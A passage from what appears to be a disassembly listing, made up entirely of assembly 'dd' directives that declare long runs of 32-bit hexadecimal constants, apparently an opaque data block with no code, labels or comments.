		dd 69B20B9Eh, 0E5B68122h, 8A95E590h, 7817C043h,	4D3F840Fh
		dd 1B5B35D2h, 0B4C1CF7Dh, 97DB5901h, 0FE046434h, 29D86E36h
		dd 85BC30E6h, 0C63111AFh, 13190C56h, 3D073D28h,	0E545C5A9h
		dd 8E1E5DBh, 0EB35CFB6h, 0A89109C9h, 0DDC8F9B6h, 0CB4958EBh
		dd 0E2CAAFh, 3E53D814h,	152F372h, 0E33662B7h, 2C18AE0Eh
		dd 0BAF5F5E4h, 214CFF15h, 0D4057094h, 0C4DD9F8Eh, 0A6E3BA37h
		dd 0B1A96D6Eh, 0EF844929h, 99B49AFBh, 28487AFCh, 329243F4h
		dd 0F5CA6A5Eh, 7E20B54Eh, 0A8CAEB1Ch, 3CA627ABh, 8EA23E6Eh
		dd 41F38BF4h, 0A8FC0314h, 0C35F2DFh, 0CDFF7ABFh, 88ECE200h
		dd 398ECE3Fh, 0F4C1152Fh, 0ECFA7655h, 679F29EEh, 0D9C096C3h
		dd 8CE69B35h, 128B501Dh, 90AE2F47h, 0FAEAE451h,	9924E4EBh
		dd 97F8644Ah, 0D53C72B2h, 3F0C599h, 21E9C527h, 29B6A256h
		dd 68C3A97Dh, 0F30ACDFAh, 66BBCC68h, 53FE4C35h,	70C6853Bh
		dd 5BB6142h, 35E87C89h,	0A26B04D6h, 61B441DAh, 0B456DFC0h
		dd 1331177Bh, 0BFED7192h, 0E4630BC4h, 66714EBEh, 0B86C5F56h
		dd 757556D5h, 4853E15Fh, 5D0ACC12h, 17E07654h, 9B2FC141h
		dd 86D2F4BAh, 52BA4796h, 1481441Eh, 0F0050DBAh,	9EAA42C0h
		dd 13F95BEFh, 2C18D4C4h, 9198534h, 0FD126E83h, 0C2509518h
		dd 0A3DC10E2h, 9A91F316h, 8A72528h, 0B4DAA924h,	0AC4E620Eh
		dd 40972F5Dh, 2033903Ch, 0C1779F0Dh, 0AD0FE8DAh, 334690E8h
		dd 15B1BE2Bh, 627D055Eh, 7348598Ch, 5067A214h, 0E6CDFD0Eh
		dd 3A0EA9CEh, 6296EACEh, 5A8F3A7Ch, 668BDE90h, 3F009723h
		dd 654DF919h, 98F0440Eh, 0A26D3B88h, 0ABCD2457h, 0EDFBDCD0h
		dd 0E62BE679h, 7B6EFD54h, 0CC5204CFh, 7DE2DB8h,	7EAC3A54h
		dd 67DE2FFh, 45E6398Dh,	0AA0E4A9Fh, 33862BB7h, 81A14C1Bh
		dd 79D9745h, 0D6FB0807h, 0F9F83803h, 0E8CA04A3h, 7750B7C7h
		dd 5A7A1D52h, 0E70A9C41h, 0B1CF508Dh, 96E6804Fh, 0CCB9557Dh
		dd 0A94FB39Bh, 0ACBE6BB1h, 0C17B0AC7h, 677FE307h, 623BDCE6h
		dd 9CCFAD38h, 37AFEEB0h, 95A919C7h, 0E073F7F4h,	357EE0EEh
		dd 3C2027F1h, 63860A7Ch, 470A43C2h, 13B8CC3Dh, 0F3E9B44Bh
		dd 76526E07h, 52904872h, 93097D74h, 0FEAD3B3Ch,	0D3E5ED31h
		dd 92BF2A75h, 0A5670723h, 690E93D5h, 16FBF0ABh,	92C2EC3Fh
		dd 0ED18E18Eh, 9388EEE6h, 8356E5FAh, 0B024FCCFh, 0F8F22B4Ch
		dd 372FF5B0h, 822065C9h, 0F6B10435h, 6B251BC1h,	0D8C3ACEEh
		dd 44AC48DAh, 0D3B9235h, 46DE809Fh, 0C3DF83E2h,	0E17C7509h
		dd 0F21A2B08h, 77DEB7E6h, 73D79C2h, 8C6BA1DDh, 50CE7464h
		dd 0BADB316Dh, 0D1F77318h, 5033B478h, 1C99D272h, 387A97F9h
		dd 0C555782Dh, 6BE1EDB5h, 5BB03E91h, 0B71D6991h, 68035417h
		dd 4590117Bh, 86CE88F2h, 560E91h, 0AF396ACh, 0F9655AC6h
		dd 68649CC6h, 0C6AC109Eh, 0F53E94CCh, 6F0DB7ADh, 0D7940108h
		dd 99BF0A03h, 9A5154B6h, 5D4866F1h, 0D1AFE863h,	9234E3AEh
		dd 65A5DC82h, 0C28FE1CCh, 53BA06BFh, 25F23B67h,	3DCE3586h
		dd 719A8145h, 0B6DD32FCh, 0C9C065B8h, 0F19C7E00h, 0D9DCE7Eh
		dd 7C6233BAh, 8519988h,	0C0ABC708h, 0D70602B3h,	63F05B3h
		dd 0C53F984Dh, 0AC14C4D3h, 0FB7CBB1Bh, 0C3A0A498h, 0B55A4386h
		dd 0B3156279h, 36E34B33h, 6E19640Ch, 0BF757635h, 19A2CED5h
		dd 83A949A9h, 3A0F09DFh, 60F85774h, 0A405BD97h,	34298521h
		dd 0A784C9ABh, 0B12C09Fh, 0B4995A14h, 7B097B99h, 5D34B93Ah
		dd 0A4621A58h, 9C9EFFD0h, 6E4BAA52h, 0FB3A9A8Ch, 0F790FA5Ah
		dd 930A1071h, 0C35A3938h, 0FE445319h, 0EA6594D8h, 0EF8499B9h
		dd 9FF3FBF3h, 7688BA97h, 7FC4E86Bh, 0FFD8FA5h, 3CDE1E8Fh
		dd 20090446h, 6CE6D776h, 1FE646C6h, 0CBE79BE7h,	0A0BC9663h
		dd 8BDFC869h, 658D2BA1h, 31DD329Eh, 0A9083EB9h,	0A8373DCEh
		dd 0EBB92F8Dh, 2DBB6859h, 7F12339Ch, 0A1BD81A7h, 33D5842Ah
		dd 0FC6D01A0h, 0FB7EB9A7h, 0FDB3BD3Fh, 0C4927CD9h, 0E0118B10h
		dd 91267146h, 20EBA296h, 66E6F287h, 0F59FDF4Bh,	158A252h
		dd 53294998h, 0EF1C5F41h, 0EF357C51h, 0FDA197F9h, 4F437628h
		dd 0AF5C2826h, 0CF974E51h, 25549736h, 0B8D07734h, 549DDEh
		dd 9E2A1B6Fh, 0AA6BB20Bh, 0B7533300h, 0B930652Ah, 885B9581h
		dd 635418D0h, 0F4E42EE9h, 0BB6A07B3h, 0D654ECDEh, 3C4AF5h
		dd 0BEBC2CD7h, 1C6B45FDh, 421C02E8h, 0D12FBFCBh, 61CD98D1h
		dd 81443BE1h, 6C2E5CCFh, 0E4FBDA4Fh, 551FEE65h,	691BC240h
		dd 0ABF2526Fh, 5DB8C640h, 1442BE5h, 0D2D6EC27h,	0BB9D3B95h
		dd 0C8EA4AA8h, 7D3EED56h, 199C889Fh, 0E9DEB909h, 0DDB6F622h
		dd 0D02409B3h, 0BB2EBECh, 5B4E237Eh, 4718E896h,	0E4899C74h
		dd 36D7275Dh, 0B617C4DCh, 307611F2h, 9507B53Eh,	0DD2F8854h
		dd 0E6EA7175h, 6DF5EEB3h, 272DB17h, 7953E3CFh, 0B0660C9Eh
		dd 3AC9DDDAh, 28E66520h, 7438E4A5h, 3A498738h, 1F9D0221h
		dd 4039EC0h, 5BE6FBD7h,	9A2394D0h, 1D87EE80h, 0B05FD839h
		dd 0FEAE9041h, 513F2B0Ah, 173849A8h, 2C0D8109h,	9077DCF4h
		dd 374F3F20h, 5AEB814Ah, 5539BF33h, 57B6C710h, 0AF268606h
		dd 562D131h, 43AE8218h,	0CBC1EF02h, 41DE2F91h, 0A349B431h
		dd 0D8080AF6h, 0F80215D8h, 0E14E7EBEh, 0A986E4F8h, 9612A9BBh
		dd 3288ED20h, 7F462C7Ah, 0EF12D5E2h, 593BDD45h,	0D4F80B8Eh
		dd 52D6E110h, 837B9973h, 0FA01D628h, 0B6A30618h, 1C0E7A54h
		dd 0A7788031h, 15E6DAABh, 89E618D7h, 0B902231Bh, 2784C469h
		dd 540735A8h, 49E4BDEEh, 0FB121656h, 39AB888Eh,	12148C0Ah
		dd 81A026E9h, 0C45B5588h, 4FE0E492h, 108CCFB8h,	4E181A82h
		dd 0A440C96Dh, 1C154F4Ah, 0E84DDE49h, 6A816308h, 0FB1A897Ah
		dd 6EF69133h, 39CF98Eh,	0ADE25BF2h, 0AE3F3AD5h,	4899C5D6h
		dd 663FD1F8h, 9A06F4B9h, 0D6637CB7h, 0A7ABF66h,	317B3CB2h
		dd 0DA08AD4Bh, 42FD6DA3h, 668EABCEh, 0B1920E29h, 0BBB24BDh
		dd 0E5F2A685h, 0FEFF18CCh, 1C9C2C45h, 261825F8h, 34A46219h
		dd 0BCC81244h, 0B98CCFF6h, 6ADE0A0Fh, 0C4606DE0h, 0B9566148h
		dd 0D535DE1Ch, 0A9DE97ECh, 9E275197h, 82851794h, 0F505B48Bh
		dd 0BA6B31C7h, 4E033A4Ch, 4E89B232h, 721DAB6Eh,	1D8B79DEh
		dd 73F41A12h, 0C97107B3h, 0DFE9A168h, 0D2BD74D8h, 0AF95841Eh
		dd 82360D62h, 5346A83Bh, 4134455Ch, 1497863h, 947CD925h
		dd 0D00130F0h, 96F3D8DDh, 0FE07F35Bh, 8760F5Bh,	72E753C7h
		dd 583973E5h, 52E0B38Ah, 94332B58h, 8DAA0EF5h, 80AD7E25h
		dd 8FF41B0h, 681E6DBBh,	0BFEF051h, 0FDDCA3F9h, 22AACF30h
		dd 0EBFBB1C6h, 0EB85FE37h, 5C57394Ah, 2A852DAAh, 8E0A7333h
		dd 0AFD80956h, 621F2D28h, 0FDD72351h, 338EAF0Ah, 0C2949CC6h
		dd 0C9CF237Dh, 423CE373h, 0B107B9Bh, 0A55F717Eh, 639CA223h
		dd 6DA46E5Ah, 0EF4D4604h, 0CD9C915Ch, 774E5B3Ch, 1706C73Fh
		dd 0E6729EA8h, 88F96935h, 715168E5h, 66CC0457h,	0E0E3E8D4h
		dd 0A545707Eh, 0F9456465h, 774D93B9h, 4E9023B3h, 1CE97B54h
		dd 154B888Ah, 0C804BCF0h, 0D6D95F58h, 4A3A6DD8h, 23BF6795h
		dd 0DF1A6079h, 0C76AB27Bh, 24352B78h, 0E5BCF937h, 0ED7CBD5Ah
		dd 0BA3CBF3Bh, 7F4D840Dh, 0D1B06991h, 1D96E764h, 0C29F474Eh
		dd 0E9B8DFB0h, 0C7359ACAh, 44F40837h, 0AE8331F7h, 9F4D38ABh
		dd 3B6FFB4Ch, 0BBA848AFh
		dd 46E0D50Bh, 6C0D0BFBh, 83A95B30h, 60D53E4Fh, 10A5B1Bh
		dd 0F8F52347h, 0F345460Fh, 0CC50EAE2h, 6B4DB1A6h, 0CB22A3FDh
		dd 16BCF49Eh, 80413D70h, 4665E9E9h, 0DE75FDA1h,	8183C85Fh
		dd 2CB76648h, 3D3BB5E1h, 85D3D3F2h, 13AF3EC7h, 3ADED4C0h
		dd 25A5FCBEh, 5DD4D863h, 0CF33337h, 71CE5014h, 0A44A0838h
		dd 0EFEC26B2h, 470834F0h, 0DBD0B715h, 23EAF7AFh, 0DE3F2997h
		dd 97FBA30h, 0C6DE968h,	0F605C45Eh, 31336FDCh, 0F1F72B31h
		dd 93A822AFh, 22E177F0h, 9E3FB0DCh, 0DAF4C97Eh,	3A376035h
		dd 456F3697h, 0E51C7E2h, 0D441C767h, 0D6A52037h, 763F214Fh
		dd 0DB66B677h, 0C1A50AAAh, 0FD7C248Dh, 507F8A08h, 7A1ED3B0h
		dd 0D897A6E9h, 81DDDAA8h, 0EDE7D079h, 754EB60Dh, 4697E8BBh
		dd 581FEAD1h, 0AE606681h, 2803630Ch, 921BB870h,	27EDDE3h
		dd 0CAC224DEh, 0C310A00Ch, 0FA52C49Bh, 0C7BA62E9h, 491891FAh
		dd 0B5554F7Dh, 0F541F658h, 0FF961D42h, 9981D6EFh, 3695B29Fh
		dd 534B6E57h, 0F50F1308h, 0B1941066h, 0EE3D96B6h, 0FC29B821h
		dd 272D965Eh, 262C432Dh, 11BE71F3h, 23192390h, 811FB269h
		dd 7EA8A30Dh, 0DBD8EBEFh, 0EB43E53Ch, 0E6901CFh, 0E7392280h
		dd 0F9159DAEh, 9D2E13DBh, 15CAE79h, 7639BF65h, 9EFBB5D3h
		dd 0E6C39002h, 9FAB89ABh, 77802FDDh, 0A964BD83h, 72DD49A9h
		dd 1A8CA293h, 0F0155A69h, 2D7AFC4Dh, 1571C411h,	5E2688C2h
		dd 59F4CF97h, 0B958E69Ah, 336EAF47h, 0A715EEA4h, 0D0D590D5h
		dd 9B3EC00Ah, 0E8503224h, 49719D66h, 64069A27h,	0A64263FEh
		dd 3F6CE289h, 0A2DD458Bh, 0F3E5507Fh, 5130661h,	0A03E62Dh
		dd 4A5115FFh, 68C2BB05h, 63F09956h, 80BCA7Dh, 5B6C4768h
		dd 882116EEh, 84BB14E2h, 0D9463F18h, 8131643Ah,	0E5186713h
		dd 3EB2B50Eh, 0DE8C5B38h, 0EE90BD2Fh, 0D5C7DD62h, 0C064B55h
		dd 19F285C3h, 73F85821h, 4C76078Bh, 7EE12ADDh, 7F67991Ah
		dd 747A4AA1h, 1EFBB426h, 0DAC1E834h, 0EC73A3E9h, 44FEA896h
		dd 0C85349DAh, 8D4CA6B8h, 0B3ECADFDh, 0FCC15EB9h, 905D0A84h
		dd 84977A7Bh, 3AA467D8h, 19F43E02h, 6C1C34F6h, 55EFB3FEh
		dd 0F74C3D74h, 686A9286h, 6FAA0C17h, 0AC81D186h, 8218B9BAh
		dd 0F7F5311Eh, 86D6E007h, 5F1E8F68h, 64A5A80Ch,	0B21A4B1Bh
		dd 1DEC6BEBh, 3B3F5EE6h, 7E370382h, 0F9B5FA73h,	9937A396h
		dd 650FB32h, 0D0D62BF9h, 62BA2E4Eh, 0D7CEDF2Eh,	1187A595h
		dd 6A928CDEh, 1276B4Bh,	0E0C59194h, 6ACE12C1h, 0BC2F1834h
		dd 0C150DD67h, 8D91C1AEh, 6562E589h, 6404A731h,	0F6D1B210h
		dd 24FBE582h, 0ADD4F72Ch, 0EBB08A72h, 436ACCBEh, 8AF82330h
		dd 683F2F5Ah, 1B50529h,	6D30C06Fh, 8B4681A9h, 0F4879502h
		dd 3796E912h, 0D12EA0E2h, 4782272Fh, 78CC6267h,	2212D456h
		dd 0AC45CDF9h, 0F04595F1h, 736CD03Bh, 7B4AFFF6h, 39F80717h
		dd 0F863BEEEh, 29F89A08h, 660D4272h, 405BE760h,	0F82144A4h
		dd 8B7CD068h, 0BF8C3016h, 9C33AAF1h, 0D007B900h, 0F07CC3A0h
		dd 0FF79026Eh, 0BB6F3176h, 1E945469h, 0A267CC8Ah, 0CA3D241Fh
		dd 8D4690A3h, 0B61D1C46h, 0C1BDE0D1h, 0F66F3402h, 85284820h
		dd 0CE071567h, 6D49CBABh, 40B6C51h, 491356C6h, 7B9CBE64h
		dd 0F697C166h, 0D22C83C2h, 73EAE335h, 6CBC67ABh, 6F430B4Dh
		dd 2B65DFA0h, 0EFC5281h, 0ECC250F1h, 0C966B8FBh, 91CB42A3h
		dd 0A6CD8813h, 8C2C9F91h, 2F755EAh, 849B6022h, 2B44B26h
		dd 38BC75C6h, 32C3F3FFh, 10EB2D75h, 0F6BCB235h,	6BBCFAF5h
		dd 0CDB93D42h, 2E23EBB3h, 0B3386E95h, 0FB70D002h, 3CDF446Eh
		dd 2EECB607h, 0A0AF5168h, 7791916Ah, 9495DBD1h,	0FC0213B2h
		dd 63599987h, 0D058B732h, 0B1B0F3A0h, 38D21F91h, 0F99CEEF1h
		dd 0C7D44B67h, 0E529820Fh, 0C47F7208h, 0BB6ECF68h, 55070D00h
		dd 2B43BE73h, 70DF991Ah, 4B3E1EF1h, 0D2F7F635h,	30D9B092h
		dd 0B0EDD49Fh, 0C713B5D8h, 3E8D1DB1h, 0BA05DAB7h, 0E57BF897h
		dd 9DF4EF76h, 0AC55092Dh, 4BAA7B8Eh, 0BE0DFA5Ah, 87F8F6D4h
		dd 0FF8D228Bh, 879766Ch, 0F0E0470Ah, 26199A90h,	92E2251Fh
		dd 2013E4ACh, 3DE9C2E7h, 3C96D6D5h, 27F607DBh, 86DBC8BDh
		dd 8B44D786h, 2DF4513h,	9C1BAD93h, 50C2EEF8h, 0D4415AF9h
		dd 8CCFA187h, 0A66D0EEBh, 5FB06CB7h, 676E0D5Dh,	3C51653Ah
		dd 0F2A0756Dh, 8DEA3E3Fh, 21CFC901h, 0E631B0A5h, 7078535Ch
		dd 37967EBDh, 841973B7h, 0C19B9DBEh, 6C21C08Dh,	7F93A55Eh
		dd 72FDFFC4h, 0D00A7D6Fh, 0BB110291h, 4C782F12h, 0C03995F1h
		dd 40CFD76Eh, 7C972B5h,	0EDA06E6Ch, 0D9AA4857h,	2BEC4302h
		dd 8CD8B8AAh, 294A4E84h, 282499AFh, 3023DC75h, 0DA393579h
		dd 0AA9A3A0Bh, 0E27BF3F5h, 5EDF433h, 84A0A530h,	7826D7Eh
		dd 957FCD0Fh, 0AB7766DBh, 0F20D8457h, 3A7D2E19h, 1CE07753h
		dd 0E6C24C74h, 200A677h, 3C4CF980h, 2FA467C4h, 0F79B7FE1h
		dd 233877CCh, 82210642h, 3AA372F7h, 4641ACCAh, 0A7E2299h
		dd 0DFC1C1E7h, 0D2957B80h, 8647FB3Eh, 0D54C7CB5h, 46C11292h
		dd 0C7CF6081h, 0D0AB9898h, 28C69C30h, 0A1626CB7h, 0D5919A79h
		dd 646FB798h, 3679320h,	0EA71CEBDh, 51CE0D1Bh, 0E3C248CEh
		dd 3C60DBDEh, 40AA85EAh, 0B9AE3E13h, 127792CEh,	0F1BE39CBh
		dd 54A6C1DEh, 0F31E0876h, 0D76AAAD9h, 3D32149Ah, 0F9DAE327h
		dd 62F2791Ch, 8254E251h, 0C70990C0h, 0DF4DC6Dh,	167FCC18h
		dd 7B6AAB0Eh, 848523A0h, 0C78A54A6h, 16F820B5h,	75173238h
		dd 0C503519h, 0F085E5FBh, 0CDCB39A2h, 0F743C4A9h, 0A9B4C49Fh
		dd 28906667h, 0D216C3F8h, 21D8727Ch, 31BCBAEDh,	1631A97Ah
		dd 320A857Bh, 56E56E9Fh, 4EA4CBC5h, 5BC2794Eh, 2794E546h
		dd 0BC31594h, 78A131AEh, 27EF4306h, 4582118Ah, 3E62AE83h
		dd 15D26B29h, 0F836B916h, 1493012Bh, 12B46B49h,	10FB2E2h
		dd 199E14F0h, 0CEFA3475h, 0EAFAD687h, 8F0238B1h, 7A626D86h
		dd 0CAE85698h, 0C20E29E0h, 804A52ADh, 274D870Ch, 19176C79h
		dd 81E1E681h, 4D243ED4h, 8D81CB87h, 1413D51Dh, 0C1DB7949h
		dd 0EEB4718Bh, 0E0796DC2h, 33D19A99h, 0E93CF22h, 5F493EC9h
		dd 9E9620B2h, 39FD2D23h, 3B4E82Ch, 3C3A6C5Dh, 54FE79AEh
		dd 10E3A543h, 0E95B7A3Fh, 7C0BCF30h, 0DADB1D72h, 3770A28Eh
		dd 104313B6h, 8A4E6C26h, 0E9D645D4h, 0CD01A23Dh, 5735EB57h
		dd 0AA5B95C4h, 73D66C78h, 0BDA200F4h, 6EF8DCFAh, 942F58A9h
		dd 69BF0345h, 2230A23Eh, 0B2C2713Ah, 3ECB2E75h,	0A2E2B22Dh
		dd 380C793h, 0F62269B1h, 0DAEF8E8Eh, 4EA4A90Fh,	0DA3524E8h
		dd 0E26C1F57h, 0DAEDED66h, 62C3D6D0h, 98EA4ACh,	0EECC180Fh
		dd 0A00A566Dh, 83C57490h, 0EF07B55Bh, 0E171287Bh, 9FB09539h
		dd 9F3CCD52h, 2E9A6FCEh, 3ED48CB0h, 3A67B798h, 6A020CE3h
		dd 0CB486693h, 56032637h, 91E6FA39h, 0C6F7202Ch, 14714B5Fh
		dd 0D826009Ah, 0B7C0D980h, 0AE960CD5h, 0D61DDAF0h, 0EC6C9A4Ah
		dd 0BE634C9Ah, 0B572002Dh, 70D286Fh, 554897A5h,	29B5B82Ch
		dd 9E2A7820h, 0D70496A0h, 981A1C39h, 6FDC23Dh, 652D9F03h
		dd 0C3BC6C1Fh, 7A2E42Bh, 5524AD88h, 9D89CDE5h, 7A29EF9Bh
		dd 6D1073E1h, 0A3697548h, 94D54A3Fh, 0F16792C6h, 38CEA502h
		dd 0A4CBBB27h, 0B8CF1B3Ah, 0C59F333Ch, 0E207FED7h, 964E9845h
		dd 4E4E2DB1h, 0A850646Dh, 0ACAD1F68h, 8E2F6893h, 0FE87F26Ah
		dd 0A69A01BCh, 40D60E8h
		dd 29F6307Fh, 84E87D81h, 0CE8A0F26h, 6C9A92h, 951493A6h
		dd 0A1620996h, 23462E82h, 533A79D8h, 57822661h,	94DF7B66h
		dd 8CDC3511h, 464A90E5h, 0E3302923h, 3BBC67DDh,	0EB54467Ah
		dd 891061CFh, 5742EAF2h, 29BEC718h, 1E7E0A1h, 3A220Fh
		dd 15F7A57Ch, 89393530h, 32BC7DAAh, 78F4A572h, 0A1E0770h
		dd 687E8BD9h, 732FD0B5h, 0CE98627Ah, 5A55B8DDh,	0E0A588C4h
		dd 0A796A0ABh, 0DE00DD46h, 0A66ACAE4h, 953E6A30h, 6807C630h
		dd 0FFB07CDBh, 71DC3EB6h, 5EA98F4Bh, 0C9006DEDh, 0D0413757h
		dd 54073B45h, 6FECA7DDh, 7CBFD19Fh, 0BA5FAAD0h,	0B0A859CEh
		dd 0B4EAF83Fh, 0F6D8AE37h, 0B0279F63h, 2ADCB5E1h, 96A6A07Ch
		dd 6AA9D61Ah, 3186AFF5h, 0F9E1FF40h, 0A03D41FBh, 6655C1BBh
		dd 0C3331305h, 0C1B11CC5h, 0D3CB2CD3h, 5B3881D0h, 5435C9F2h
		dd 0BD1C42CBh, 7E38064Bh, 0CE5478D1h, 24943988h, 5C9F471h
		dd 261FE09h, 0A83CF6F7h, 0B69448AEh, 2FB83B94h,	32E886B4h
		dd 3C50A25Dh, 0EDCCD2F5h, 3BA8E7BFh, 0DB2D2E1Dh, 188E4409h
		dd 0D5D947D4h, 81323656h, 0D6424BEEh, 0FAEA154Bh, 485A8555h
		dd 2C15AC42h, 0E294F51Bh, 0DCDBFE74h, 0C638EC4Dh, 0E5061F4Fh
		dd 0FCA6B539h, 0B75E2E6Fh, 0BF76D95h, 5BBF715Eh, 89DA8F62h
		dd 0FD658AE3h, 6E3D8BE3h, 36DDC005h, 0EFFDA8FBh, 36693F07h
		dd 0BEF5A63h, 7FA4D9E5h, 99DB31DDh, 1BF30D1Eh, 7AFE31Fh
		dd 7A84E7B6h, 86B1C5D0h, 0A9B297E5h, 87324C53h,	46055AB6h
		dd 18CA8034h, 8AE19B34h, 1B9F8CFCh, 2E25ADE6h, 91DF988Dh
		dd 0E256CA29h, 17A51238h, 3DBDC168h, 556EC98Dh,	3FB37CF2h
		dd 0F8CD3315h, 0E8F2E896h, 0CD99AEB7h, 0FDD68182h, 0BFB1ACBEh
		dd 534991F7h, 3641892Fh, 0E7CB4637h, 9C1F39Ch, 9B891FAEh
		dd 0FAFD7BFAh, 1D1A1E42h, 7BDAA31Dh, 7C1C1233h,	0AFF5A1CAh
		dd 0EFFD3B3Dh, 0F5061EB8h, 46359951h, 34EC75DDh, 3433D25Dh
		dd 0D5B4417Bh, 50962888h, 0F9EE3F08h, 805C9D3Ah, 7194A8C8h
		dd 7AC8EF7Bh, 7ECCF7EDh, 7ACE24EFh, 72145AC8h, 262A8F65h
		dd 51B03445h, 9C5F7F70h, 5A046ABDh, 2490C94Eh, 603F1324h
		dd 0D86BC896h, 0A2B04835h, 0B1A122CCh, 13519A01h, 0DD3F0A3Bh
		dd 11E4ECEh, 77981008h,	0FC0BEA99h, 7DBC4CA4h, 88826967h
		dd 9DB83ADDh, 0D381B88Bh, 268D103Ch, 0CBB378B3h, 0E074067Fh
		dd 3FD6ECAAh, 618AA5AAh, 7016B6Dh, 9C4E904Fh, 0F1385B9Eh
		dd 7CA14F7Ah, 14B81020h, 1F010599h, 76BAEABFh, 238DD589h
		dd 0FB0D90B3h, 8DC8CCE8h, 0D4EBB28Dh, 0CFFF38DAh, 535FDB5Dh
		dd 368DFA64h, 0CA7E4455h, 0D504870Eh, 57F17D17h, 40C390DFh
		dd 9CB32318h, 0BB53F6C9h, 39E5A757h, 0B723093Ah, 80FF3692h
		dd 6D89CA32h, 1BB3F748h, 3B8CF6FBh, 0C044C00h, 0D62AE7BBh
		dd 1CB72945h, 1C3C37F9h, 0F091BEh, 7B764909h, 41514E38h
		dd 0A0C062D6h, 744931A4h, 0F27D2FE9h, 424D8021h, 97C66396h
		dd 2D618F03h, 706FA74h,	99AC68A3h, 0CE5B3967h, 5D674EC9h
		dd 0AF15A578h, 0AA516184h, 9E7F9C38h, 876D8649h, 6D4E7363h
		dd 2AB1A00Fh, 5C4923B2h, 0F06533A8h, 2CF0ACC5h,	39F93CD3h
		dd 0F811B78h, 0A403C0C3h, 69BD2B7Ah, 4144DC9Ch,	0E8154B26h
		dd 7C7B8FC5h, 3EB8F899h, 27D67BDEh, 0B37F1A2Eh,	0EE68FF7Ah
		dd 47123888h, 0C54BD0B8h, 658C5A31h, 0D65004FDh, 79E95ED7h
		dd 987BC1C6h, 54775E76h, 0C3BEB78Ch, 0CDD5FC9Eh, 93809665h
		dd 0E7726A7Bh, 258FE0E1h, 937E3382h, 90B15387h,	99C18E9Bh
		dd 89DB5610h, 0EDBCC3FDh, 6085B160h, 0B9D5814Eh, 9AB93D33h
		dd 5A142E8Ch, 99292A6h,	9657F0E9h, 881ECD0Dh, 0DAA374FEh
		dd 0F1F92585h, 66D51FD2h, 9D16CAE4h, 2F4ACE80h,	0B6EAC9E7h
		dd 0E1BFB02Eh, 83EBB362h, 0BB2EE9AAh, 1E7E0F80h, 48DFC329h
		dd 0F9CB8058h, 0B73683CCh, 41CEEB2Ch, 2B56BC11h, 0C2648EFh
		dd 55EA0668h, 1A8E28D1h, 248DA3E1h, 0ACA8D94Fh,	0F2C3CEF4h
		dd 8054388h, 0A177D86Eh, 0C83C1B74h, 92C526C8h,	0ECF7C885h
		dd 753EA982h, 362D8B5Eh, 6B471517h, 0FF52BD28h,	67EB58B9h
		dd 77287BECh, 3F7327CCh, 5E36D4BEh, 0BE9F9A91h,	0BFF386E4h
		dd 0EF9BD34Dh, 622F6103h, 6A2C295Ch, 1054AF31h,	0E5736DB4h
		dd 90C719C7h, 310AC370h, 0E4E221FBh, 0D5BDB560h, 469739B0h
		dd 92BAD4Fh, 0AED3E6B4h, 7A32755Ch, 839CEA97h, 9DE6BF07h
		dd 7AD3D052h, 1237CF16h, 8DE9D9B5h, 0D95D4121h,	366F8369h
		dd 0A42BB9FAh, 6FD39436h, 252308FCh, 951E990Ch,	204B4DC5h
		dd 648DA5Ah, 3A1A0BE4h,	67CA17A0h, 0F875A9CCh, 5786600h
		dd 988EDE97h, 7A0F8CF6h, 0EB78C463h, 8F90D6D5h,	3E2E4D0Ch
		dd 0B7A62AABh, 0B41455B2h, 0D3FE6FA9h, 0E6B08D21h, 0EE35BCCFh
		dd 660B3AA0h, 0D2852982h, 0C6FCCC27h, 698B0AD4h, 5A1EB500h
		dd 0EB5E39E7h, 8D5412F0h, 417E3FF8h, 0A8FF7FEAh, 8F6DBF06h
		dd 5CAC5CD3h, 0A59B17AEh, 9F9A7649h, 84711884h,	0E8D10254h
		dd 94A7F52Eh, 3BAB9922h, 6D32D2E6h, 8B6554B2h, 9B383B9Ah
		dd 0D3DD6C40h, 0AB6E9B24h, 0CF9DE5FAh, 60BC322Ch, 0E21C29BDh
		dd 2B018D5Ah, 2D1696A8h, 9DAF73AFh, 9F09FB9Fh, 0B9F2652Eh
		dd 66E365E3h, 0CB0E1445h, 0D118EDF7h, 0F91B09C3h, 0C15C739Bh
		dd 136CD326h, 9C869E61h, 0CE1DA6FEh, 0AB9DAB33h, 921242E4h
		dd 9FC13BA6h, 26AF1AE0h, 9CE1D4E1h, 0C142D301h,	67D182F9h
		dd 6565257Fh, 1BDD386Ch, 0A64F2CAh, 58D45909h, 0EB18649h
		dd 57CA3637h, 0B04F2E5Dh, 71A28534h, 0A58606Ah,	0BFF58506h
		dd 0E97E9D5Ah, 94BA9841h, 0F4DB6D67h, 0E9B13949h, 0B73A55BAh
		dd 0D9751EE6h, 190A923Fh, 2A9AE4D6h, 0FCEE5B88h, 2BD7586Dh
		dd 5E16B8A9h, 324F294Eh, 0D36BCAC3h, 498FB484h,	4A2A46h
		dd 0A047485Dh, 0D8DD76BBh, 8D07C497h, 33996ECEh, 428666D1h
		dd 0EC60A296h, 0EB43BDD6h, 8072ED35h, 0CEBAFD8h, 0B3BA8A64h
		dd 1BE16CA3h, 0E4FF0B30h, 0F8BCA2A1h, 5ED78913h, 0D8467336h
		dd 0B07A72C6h, 8E30FC2Ah, 68818A04h, 0C74986D2h, 0B48C284Bh
		dd 26DF2150h, 241DA35Eh, 0EBDCF5D8h, 9A5B0941h,	0C4CBFC0Fh
		dd 0E30202Ch, 396B4ECDh, 5F65DCBFh, 0FEE4AB7Eh,	40973E92h
		dd 216D7471h, 0C975A916h, 0E544B1D7h, 47624E4Dh, 3606C8A5h
		dd 0E88A28DDh, 0EE5492A9h, 0F5F5D3D2h, 0D76A7957h, 5028BC4h
		dd 8EABE3E0h, 0D74EB459h, 0EF2390F2h, 0C3D9EE99h, 0CF65ADD0h
		dd 9BC14866h, 80A8D50Ch, 0A8269993h, 2A5F205Fh,	0A6EF266Eh
		dd 3CD6A36Dh, 4C821CECh, 2F75E39Eh, 0A12CC80Bh,	58C70536h
		dd 2B3C941Dh, 0CCCE263Fh, 0A57706Ch, 3F8668D0h,	0E900BF55h
		dd 0A7A95A57h, 0B3D732C6h, 86BC9DA0h, 0EFB0EA1Dh, 0EACFFDEFh
		dd 7076C57Dh, 61C647D0h, 6A330AEEh, 0DDED1505h,	6775C70Dh
		dd 0D624EC71h, 0D675C87Ch, 0ACEBAE25h, 32FD5B08h, 0CA542699h
		dd 9C4F9983h, 0A3D8F288h, 0D9F40EA9h, 474C6CB6h, 59F58EC1h
		dd 1722DA5Dh, 3D258B01h, 0C711D49Dh, 0D9CC70A8h, 275C9012h
		dd 0E8507C13h, 0BE4B8DA9h, 3D535EE3h, 77860617h, 6C6E6E85h
